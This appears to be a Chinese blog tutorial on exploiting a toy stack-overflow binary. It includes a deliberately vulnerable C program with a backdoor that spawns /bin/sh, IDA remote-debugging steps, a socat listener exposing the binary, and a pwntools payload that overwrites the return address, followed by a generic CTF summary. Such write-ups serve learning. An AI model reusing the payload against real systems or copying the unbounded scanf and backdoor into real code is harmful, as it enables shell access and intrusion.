pwn 栈溢出例子与ida的远程调试

文章目录


听说ida的全套工具一个不小心泄漏了,价值2万dollar,读书人最见不得这种赤裸裸地浪费,赶紧把二进制摆上日常了。

本地

首先找个c代码做为测试用例,必须是hello world:

#include <stdio.h>

void hello_world()
{
        char buf[64] = {0};
        scanf("%s", &buf); 
        printf("Hello %s\n", &buf); 
}

// 方便测试,留个后门函数
void back_door()
{
        system("/bin/sh");
}

void main()
{
        hello_world();
}

将上面代码命名为test.c,然后使用gcc编译:

gcc test.c -o test

运行test:
在这里插入图片描述
然后把test程序拖到ida看看,按空格键切换反汇编窗口(列表视图&图形视图),然后给hello_world()函数搞个断点
在这里插入图片描述
接着使用IDA远程调试linux/mac/android下编译的程序,我的是mac,这里将mac_server64拷贝到mac的某个文件夹下
在这里插入图片描述
赋权并运行
在这里插入图片描述
到IDA中,选择 “Debugger” --> “Select debugger”;然后选”Remote mac os x debugger“,点击“OK”;
在这里插入图片描述
在IDA菜单中,选择“Debugger->Process options”,打开要调试的程序设置选项,在Application和Input file两项中输入ubuntu中要调试的程序,在Directory中输入要调试的程序所在的目录,在Hostname中输入linux机器的IP地址,端口保持默认即可,最后点击ok按钮:
在这里插入图片描述
注意,每次换网活着wifi,ip可能会不同。

按F9进入调试,会弹个框,点击yes,接着按F8进行单步调试,直到按到scanf函数。

其他调试相关快捷键:
1.F2下断点
2.F7进入函数,F8单步调试,F9跳到下一个断点,F2下断点,G调到函数地址
在这里插入图片描述
返回mac的控制台,输入一些字符A:
在这里插入图片描述

然后接着按F8,接着遇到printf会打印输出来
在这里插入图片描述
当然,我们不是来hello AAAAA的。从下图中我们可以看到,我们的AAAAA存储的开始位置为00007FFEEFBFF730,也就是buf的首地址,存储返回地址为0000000100000F39的地址为00007FFEEFBFF788,所以我们把这个地址里面的内容填充为恶意函数的地址。
在这里插入图片描述
我们计算一下我们需要填充地址的长度:

0x00007FFEEFBFF788 -0x00007FFEEFBFF730 = 0x58

远程

我一开始使用的环境是mac+虚拟机win10,发现有奇怪的问题:send数据接受不到,没解决,有大佬解决的告知一下;

所以接下来的环境变成了win10+虚拟机Ubuntu。

接下来就是进行远程调试,首先需要安装pwntools,这是一个很棒的EXP编写工具,安装如下:

python3 -m pip install pwntools

它的模块有很多:

- pwnlib.adb — Android Debug Bridge
- pwnlib.asm — Assembler functions
- pwnlib.encoders — Encoding Shellcode
- pwnlib.elf — ELF Executables and Libraries
- pwnlib.exception — Pwnlib exceptions
- pwnlib.flag — CTF Flag Management
- pwnlib.fmtstr — Format string bug exploitation tools
- pwnlib.gdb — Working with GDB
- pwnlib.log — Logging stuff
- pwnlib.protocols — Wire Protocols
- pwnlib.rop — Return Oriented Programming
- pwnlib.runner — Running Shellcode
- pwnlib.shellcraft — Shellcode generation
- pwnlib.shellcraft.<architecture>
- pwnlib.term — Terminal handling
- pwnlib.timeout — Timeout handling
- pwnlib.tubes — Talking to the World!
- pwnlib.tubes.<process|serialtube|SSH>
- pwnlib.update — Updating Pwntools
- pwnlib.useragents — A database of useragent strings
- pwnlib.util.cyclic — Generation of unique sequences
- pwnlib.util.fiddling — Utilities bit fiddling
- pwnlib.util.net — Networking interfaces
- pwnlib.util.packing — Packing and unpacking of strings

然后安装socat,Socat 是 Linux 下的一个多功能的网络工具,Socat 的主要特点就是在两个数据流之间建立通道,且支持众多协议和链接方式。如 IP、TCP、 UDP、IPv6、PIPE、EXEC、System、Open、Proxy、Openssl、Socket等。

brew install socat # mac
yum install -y socat # centos
apt-get install -y socat # ubuntu

socat基本用法:

socat [options] <address> <address>

其中这 2 个 address 就是关键了,address 类似于一个文件描述符,Socat 所做的工作就是在 2 个 address 指定的描述符间建立一个 pipe 用于发送和接收数据。几个常用的 address 描述方式如下:

-,STDIN,STDOUT :表示标准输入输出,可以就用一个横杠代替,这个就不用多说了吧….
/var/log/syslog : 也可以是任意路径,如果是相对路径要使用./,打开一个文件作为数据流。
TCP:: : 建立一个TCP连接作为数据流,TCP也可以替换为UDP
TCP-LISTEN: : 建立TCP监听端口,TCP也可以替换为UDP
EXEC: : 执行一个程序作为数据流。

以上规则中前面的 TCP 等都可以小写,在这些描述后可以附加一些选项,用逗号隔开。如 fork,reuseaddr,stdin,stdout,ctty 等。

在与test_5wimming同目录的终端输入命令:

socat tcp-listen:18888,reuseaddr,fork EXEC:./test_5wimming,pty,raw,echo=0

在这里插入图片描述

然后使用pwntools进行链接:

>>> from pwn import *
>>> io = remote('192.168.31.151',18888)

在这里插入图片描述
然后回到ida,需要在scanf后面下断点,因为此时程序已经执行了,等待输入:
在这里插入图片描述

接着,选择Debugger --> Attach to process.选择刚才用socat运行的程序,然后ok:
在这里插入图片描述
如果提示:
The debugger could not attach to the selected process.This can perhaps indicate the process was just terminated, or that you don’t have the necessary privileges.

那就是权限不够,使用命令:

 sudo ./linux_server64 //或者关闭linux防火墙

接着按F9,让程序跑起来,按完之后ida显示running
在这里插入图片描述
回到python终端,发送我们输入的数据:

payload = b'A'*0x58 + p64(0x0000560EFFB96808)
io.send(payload) // io.sendline(payload)
io.send('\n')
io.interactive() // 交互

回到ida,查看栈信息,发现返回地址已经改成了我们的后门函数地址:
在这里插入图片描述
这时候报错:7F7934ED4E97: got SIGABRT signal (Abort) (exc.code 6, tid 3111)
不想调了,结果已经差不多了,有机会再试吧,哪位大佬有碰到相同情况的还请告知下。

参考:
https://blog.csdn.net/qq_17204441/article/details/89324620
https://xz.aliyun.com/t/3944

PWN是一种以攻破计算机系统中的漏洞为目的的竞赛类型,参赛者需要利用漏洞进行攻击并获取系统权限。在ctfshow PWN中,栈溢出是一种常见的攻击方式。 根据提供的引用,我了解到栈溢出是一种通过向程序输入过长的数据导致数据溢出栈的一种攻击手段。栈是一种数据结构,用于存储程序的局部变量和函数调用的返回地址等信息。当程序接收到超出栈空间大小的数据时,溢出的数据会覆盖到栈上的其他数据,从而可能改变程序的执行流程。 根据引用,在ctfshow PWN中,参赛者可以利用栈溢出漏洞来控制程序的执行流程。通过向程序输入特制的数据,可以覆盖控制流中的返回地址,使程序跳转到攻击者精心构造的代码,从而达到获取系统权限的目的。 具体来说,参赛者可以通过向程序发送超出预期的数据,覆盖栈上的返回地址,使其指向攻击者准备好的恶意代码,从而实现栈溢出攻击。攻击者可以利用此漏洞来执行任意代码,包括获取系统权限、执行恶意操作等。 引用和引用提供了一些示例代码,演示了如何利用栈溢出漏洞进行攻击。这些代码使用Python的pwn库来与目标程序进行交互,并通过构造特制的payload来触发栈溢出漏洞,最终实现控制程序执行流程的目的。 需要注意的是,栈溢出是一种非常危险的漏洞,合法的程序设计应该避免出现此类问题。在实际应用中,为了防止栈溢出攻击,开发者需要加强输入验证和数据处理等安全机制。 总结起来,ctfshow PWN栈溢出是一种通过向程序输入过长数据导致栈溢出的攻击方式,在该竞赛中常用于获取系统权限和执行恶意操作。攻击者可以利用漏洞覆盖返回地址,使程序执行恶意代码。然而,栈溢出是一种危险的漏洞,合法的程序设计应该避免此类问题。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [ctfshow pwn4](https://blog.csdn.net/qq_39980610/article/details/126461902)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [ctfshow pwn5](https://blog.csdn.net/qq_39980610/article/details/126462163)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值